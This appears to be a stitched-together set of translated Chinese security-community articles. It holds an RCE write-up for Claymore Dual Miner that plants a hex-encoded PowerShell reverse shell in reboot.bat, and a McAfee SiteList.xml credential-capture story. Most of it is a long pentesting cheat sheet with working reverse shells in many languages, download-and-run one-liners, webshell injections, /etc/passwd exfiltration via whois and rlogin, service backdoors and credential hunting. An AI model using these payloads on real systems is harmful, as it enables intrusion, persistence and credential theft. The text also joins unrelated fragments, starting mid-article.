此外，还应该留意应用商城中其他用户对于某个APP的评论，如果有人提及某个APP表现出了可疑行为，那就应该特别注意。
此外，需要及时更新移动设备的系统，及时修复已知漏洞。假如自己的手机出现了异常状况，需要及时寻求手机售后服务人员或安全人士进行处理。 | 社区文章 |
# Claymore Dual Miner远程命令执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：https://reversebrain.github.io/
原文地址：<https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好，今天我将向您展示如何在由nanopool开发的流行Claymore Dual Miner上找到远程执行代码漏洞。
您可以从
<https://github.com/nanopool/Claymore-Dual-Miner>
从GitHub下载源码
在继续阅读之前，我想澄清一下，我已经通过电子邮件向nanopool发送了相关信息，却没有收到任何类型的响应，所以我决定公开披露了此漏洞以获得CVE编号。让我们开始吧！
## 过程分析
从版本7.3开始，开发人员引入了名为EthMan的远程管理工具，该工具允许在配置阶段控制矿工远程将JSON
API字符串发送到特定端口集。这就是矿工们如何开采以太坊的方式：
EthDcrMiner64.exe -epool eth-eu.dwarfpool.com:8008 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -esm 0 -asm 0 -mode 1 -mport 5555
我不介绍每个参数，我们重点观察 -mport，这是我发现的最为有趣的漏洞之一：
它会打开端口5555，等待来自远程管理器工具的传入连接。大概如下图
在将本地运行的矿工添加到列表中后，使用127.0.0.1作为IP，5555作为端口，我可以读取它的统计数据，例如Mh/s，GPU温度等等。另外，我查看了上下文，并立即注意到”Execute
reboot .bat”函数，因此我开始阅读附带该工具的API文档：
EthMan uses raw TCP/IP connections (not HTTP) for remote management and statistics. Optionally, "psw" field is added to requests is the password for remote management is set for miner.
我深入了一下，收集了一些有用的JSON字符串：
REQUEST:
{"id":0,"jsonrpc":"2.0","method":"miner_restart"}
RESPONSE:
none.
COMMENTS:
Restarts miner.
REQUEST:
{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
RESPONSE:
none.
COMMENTS:
Calls "reboot.bat" for Windows, or "reboot.bash" (or "reboot.sh") for Linux.
有了这两个JSON字符串，我可以重新启动我的矿工或执行一个reboot.bat文件，该文件包含在矿工的同一个目录中。
另一个有趣的远程管理器功能是”Edit
config.txt”，它允许上传一个新的config.txt文件，但没有关于允许上传配置文件的API的文档，所以我打开了我的Wireshark，并开始捕获数据包。最后我发现了读取和发送配置文件的API：
{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","HEX_ENCODED_STRING"]}
基本上第一次请求一个文件，都将收到一个以十六进制编码的内容的响应，第二次上传一个新文件，它们都允许读取和写入矿工文件夹内的文件。我决定检查是否可以上传并覆盖reboot.bat文件，因此我在PowerShell中准备了反向shell：
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
## payload构造
然后我以十六进制将其编码，并伪造JSON API字符串：
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", "706f7765727368656c6c2e657865202d436f6d6d616e64202224636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e536f636b6574732e544350436c69656e7428273132372e302e302e31272c31323334293b2473747265616d203d2024636c69656e742e47657453747265616d28293b5b627974655b5d5d246279746573203d20302e2e36353533357c257b307d3b7768696c6528282469203d202473747265616d2e52656164282462797465732c20302c202462797465732e4c656e6774682929202d6e652030297b3b2464617461203d20284e65772d4f626a656374202d547970654e616d652053797374656d2e546578742e4153434949456e636f64696e67292e476574537472696e67282462797465732c302c202469293b2473656e646261636b203d202869657820246461746120323e2631207c204f75742d537472696e6720293b2473656e646261636b3220203d202473656e646261636b202b202750532027202b2028707764292e50617468202b20273e20273b2473656e6462797465203d20285b746578742e656e636f64696e675d3a3a4153434949292e4765744279746573282473656e646261636b32293b2473747265616d2e5772697465282473656e64627974652c302c2473656e64627974652e4c656e677468293b2473747265616d2e466c75736828297d3b24636c69656e742e436c6f7365282922"]}
然后我开始在端口1234上本地监听，并发送了重新启动API字符串：
echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}n' | nc 127.0.0.1 5555 && echo
惊喜！ | 社区文章 |
# McAfee中的SiteList.xml配置文件能扩大活动目录域的权限
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md>
译文仅供参考，具体内容表达以及含义原文为准。
在做测试员的实习工作期间，我找到了一个很棒的方法，可以在Active Directory
域（活动目录域）中实现privesc脚本。我借用了一名员工的笔记本电脑和他的低权限的McAfee帐号，准备来实现这一功能。在这台笔记本上装有McAfee
Virusscan Enterprise 8.8版本软件。
McAfee能给用户提供一个这样的功能：用户可通过McAfee来自定义进行服务器的更新，同时用户可通过HTTP或SMB连接到这些服务器。（路径是：C:ProgramDataMcAfeeCommon
Framework）Sitelist.xml配置文件中包含着大量的信息，比如：信息凭证，内部服务器的名字等等。
接下来，我们可以在所使用的McAfee杀毒服务中，查看相关的用户权限。
不幸的是，由于该笔记本上的AV（McAfee Virusscan Enterprise ：McAfee公司推出的一款杀毒软件，具有防病毒\+
防火墙的功能，能阻止恶意软件入侵PC。）占用了GUI（Graphical User
Interface，图形用户界面，简称GUI）的密码，使得我无法对该文件进行编辑。为了解决这一问题，我重新下载了McAfee软件，并把它装在了自己的Windows虚拟机中，同时将之前SiteList.xml中的sesame系统框架文件拷贝了过来。
在完成上述操作之后，离成功就不远了。我编辑的那个文件，能让我实现这样一个功能：我可以将用户的一个HTTP请求进行重定向，强制将其连接到我原先设置好的，任意一个服务器上，从而我就能冒名地对这些请求进行回应。SiteList.xml文件如下图所示：
之后，我点击进入了McAfee AV ，将它和相应的响应器进行了更新，从而可以查看相关的矩阵信息。
root@kali:~/Tools/responder# python Responder.py -I eth0 --basic
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3
Original work by Laurent Gaffie (lgaffie@trustwave.com)
To kill this script hit CRTL-C
...
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [ON]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [ON]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.169.140]
Challenge set [1122334455667788]
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.169.141 for name fuckingrandomserver
[HTTP] Basic Client : 192.168.169.141
[HTTP] Basic Username : McAfeeService
[HTTP] Basic Password : *cool_its_a_strong_password/*
OMG，我做到了。现在，我已经将活动目录域的权限扩大了。可以通过登录域名控制台，访问该主机域内的所有工作站。
这样，任务就完成了！ | 社区文章 |
# Pentesting 备忘录
## 情报侦查
### 从nmap里面提取出实时存活的IP
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
### 简单的端口扫描
for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done
### DNS lookups, Zone Transfers & Brute-Force
whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done
### Banner 抓取
nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET
### NFS共享
列出NFS导出的共享文件，如果RW和no_root_squash存在，那就直接上传[Sid-Shell](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/sid-shell.c)执行。
showmount -e 192.168.110.102
chown root:root sid-shell; chmod +s sid-shell
### Kerberos User Enumeration
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
### HTTP Brute-Force & Vulnerability Scanning
target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum
tee命令用于将数据重定向到文件，另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上。
### RPC/NetBios/SMB
rpcinfo -p $TARGET
nbtscan $TARGET
#list shares
smbclient -L //$TARGET -U ""
# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET
### SNMP
# Windows User Accounts
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25
# Windows Running Programs
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2
# Windows Hostname
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5
# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1
# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27
# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3
# Software Name
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2
# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt
snmp-check $TARGET
### SMTP
smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150
### Active Directory
提一下，就是那些信息搜集工具都是基于自带的函数进行整理，经典的PowerView，熟悉这些对自己开发工具也有好处。
#### 当前Domain信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
powershell命令自动补全很牛X，因为有些字段很长。
#### 域信任
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
#### 当前林信息
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
#### 林信任信息
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
#### 一个域的所有DC
nltest /dclist:pentestlab.com
PS C:\Users\wing> nltest /dclist:pentestlab.com
获得域“pentestlab.com”中 DC 的列表(从“\\PentestLab-DC.pentestlab.com”中)。
PentestLab-DC.pentestlab.com [PDC] [DS] 站点: Default-First-Site-Name
此命令成功完成
PS C:\Users\wing>
#### 拿到DC当前的认证信息
nltest /dsgetdc:offense.local
此命令成功完成
PS C:\Users\wing> nltest /dsgetdc:pentestlab.com
DC: \\PentestLab-DC.pentestlab.com
地址: \\10.10.0.2
Dom Guid: 08b4981e-2ef6-4257-9de3-b794c2f504b2
Dom 名称: pentestlab.com
林名称: pentestlab.com
DC 站点名称: Default-First-Site-Name
我们的站点名称: Default-First-Site-Name
标志: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS_DC DNS_DOMAIN DNS_FOREST CLOSE_SITE FULL_SECRET WS DS_8
DS_9
此命令成功完成
PS C:\Users\wing>
#### cmd里面得到信任域信息
nltest /domain_trusts
此命令成功完成
PS C:\Users\wing> nltest /domain_trusts
域信任的列表:
0: SAKURAWING sakurawing.com (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: quarantined 0x10 )
1: PENTESTLAB pentestlab.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成
PS C:\Users\wing>
#### 得到用户信息
nltest /user:"spotless"
#### 得到当前经过身份认证的DC
set l
#### 获取用户信息
set u
## 获得访问权限
温故一下反弹shell
### Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
### Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
### URL-Encoded Perl: Linux
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
### Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
### php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
### Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
### Netcat without -e #1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
### Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
### Java
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
### XTerm
xterm -display 10.0.0.1:1
### JDWP RCE
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
### Working with Restricted Shells
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
nice /bin/bash
### Interactive TTY Shells
/usr/bin/expect sh
python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
### 通过form表单进行文件上传
# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"
# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v
### PUT方法
curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
### Payload生成模式和偏移量
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE
### Bypassing File Upload
* file.php -> file.jpg
* file.php -> file.php.jpg
* file.asp -> file.asp;.jpg
* file.gif (contains php code, but starts with string GIF/GIF98)
* 00%
* file.jpg with php backdoor in exif (see below)
* .jpg -> proxy intercept -> rename to .php
### 图片里面注入Code
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png
### `.htaccess`技巧
AddType application/x-httpd-php .blah
## Cracking Passwords
### Crack Web
hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list
### Crack Others
hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1
### HashCat Cracking
# Bruteforce based on the pattern;
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout
# Generate password candidates: wordlist + pattern;
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout
### msfvenom 生成Payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
### Compiling Code From Linux
# Windows
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe
# Linux
gcc -m32|-m64 -o output source.c
### 本地文件包含拿Shell
nc 192.168.1.102 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.1.102
Connection: close
# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
### 本地文件包含到任意文件读取
玩坏的了，备忘录嘛。
file:///etc/passwd
http://example.com/index.php?page=php://input&cmd=ls
POST: <?php system($_GET['cmd']); ?>
http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
POST: <?php system('uname -a');die(); ?>
expect://whoami
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id
http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E
# ZIP Wrapper
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# Loop through file descriptors
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -
### Windows + PHP
<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?>
ps：
cmd /c dir 是执行完dir命令后关闭命令窗口。
cmd /k dir 是执行完dir命令后不关闭命令窗口。
cmd /c start dir 会打开一个新窗口后执行dir指令，原窗口会关闭。
cmd /k start dir 会打开一个新窗口后执行dir指令，原窗口不会关闭。
### 利用好Sql注入
# Assumed 3 columns
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
xp_cmdshell
# netcat reverse shell via mssql injection when xp_cmdshell is available
1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--
### SQLite
ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');
### MS-SQL Console
mssqlclient.py -port 27900 user:password@10.1.1.1
sqsh -S 10.1.1.1 -U user -P password
### 无交互式Shell
python -c 'import pty; pty.spawn("/bin/sh")'
/bin/busybox sh
### Python代码执行
__import__('os').system('id')
### Local Enumeration & Privilege Escalation
我做了一个中文版的。
#### ImmunityDebugger
### Get Loaded Modules
!mona modules
#### JMP ESP地址
!mona find -s "\xFF\xE4" -m moduleName
### 破zip密码
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip
### Simple HTTP server
# Linux
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:80
### Mysql提权
需要
raptor_udf2.c and sid-shell.c or full tarball
地址失效了，我联系作者补一下。
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/raptor_udf2.so'));
select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');
### Docker提权
echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh
#### 重置root用户密码
echo "root:spotless" | chpasswd
## 上传文件到目标上
### TFTP
#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
service atftpd start
# Windows
tftp -i $ATTACKER get /download/location/file /save/location/file
### FTP
# Linux: set up ftp server with anonymous logon access;
twistd -n ftp -p 21 -r /file/to/serve
# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
echo open $ATTACKER>ftp-commands.txt
echo anonymous>>ftp-commands.txt
echo whatever>>ftp-commands.txt
echo binary>>ftp-commands.txt
echo get file.exe>>ftp-commands.txt
echo bye>>ftp-commands.txt
ftp -s:ftp-commands.txt
# Or just a one-liner
(echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd
### CertUtil
certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
### PHP
<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?>
### Python
python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')"
### HTTP: Powershell
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');
# download using default proxy credentials and launch
powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $b.DownloadString("http://$attacker/nc.exe") | Out-File nc.exe; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
### HTTP: VBScript
https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/wget-cscript
cscript wget.vbs http://$ATTACKER/file.exe localfile.exe
### HTTP: Linux
wget http://$ATTACKER/file
curl http://$ATTACKER/file -O
scp ~/file/file.bin user@$TARGET:tmp/backdoor.py
### Netcat
# Attacker
nc -l -p 4444 < /tool/file.exe
# Victim
nc $ATTACKER 4444 > file.exe
### HTTP: Windows "debug.exe" Method
# 1. In Linux, convert binary to hex ascii:
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
# 2. Paste nc.txt into Windows Shell.
### HTTP: Windows BitsAdmin
cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe
### HTTP: Windows BitsAdmin
cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe
### Whois Data Exfiltration
# attacker
nc -l -v -p 43 | sed "s/ //g" | base64 -d
# victim
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`
### Cancel 数据泄露
cancel -u "$(cat /etc/passwd)" -h ip:port
### rlogin数据泄露
rlogin -l "$(cat /etc/passwd)" -p port host
### 指定范围ping
#!/bin/bash
for lastOctet in {1..254}; do
ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done
### 爆破XOR
encrypted = "encrypted-string-here"
for i in range(0,255):
print("".join([chr(ord(e) ^ i) for e in encrypted]))
### 生成错误字符
# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"
### .py -> .exe
python pyinstaller.py --onefile convert-to-exe.py
### Netcat Portscan
nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162
### 渗透Windows 服务
# Look for SERVICE_ALL_ACCESS in the output
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)
sc start [service_name]
### 查找为指定用户显式设置的文件/文件夹权限
icacls.exe C:\folder /findsid userName-or-*sid /t
//look for (F)ull, (M)odify, (W)rite
### AlwaysInstallElevated MSI
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
>
> AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI)，如果用户启用此策略设置，那么黑客利用恶意的MSI文件就可以进行管理员权限的提升
[Metasploit PowershellAlwaysInstallElevated提权实战](https://xz.aliyun.com/t/203)
### Windows凭证
c:\unattend.xml
c:\sysprep.inf
c:\sysprep\sysprep.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
dir /s *cred* == *pass* == *.conf
# Windows Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
### 没带引号的服务路径
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """
### 服务后门
sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
### Port Forwarding / SSH Tunneling
#### SSH: Local Port Forwarding
# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER
#### SSH动态端口转发
# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D 127.0.0.1:8080 user@SSH_SERVER
#### SSH远程端口转发
# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP
#### 代理隧道
# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@127.0.0.1 -p 5555
#### http隧道
# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80
# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
htc -F 8080 192.168.1.15:80
# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
ssh localhost -p 8080
### Netsh转发
# requires admin
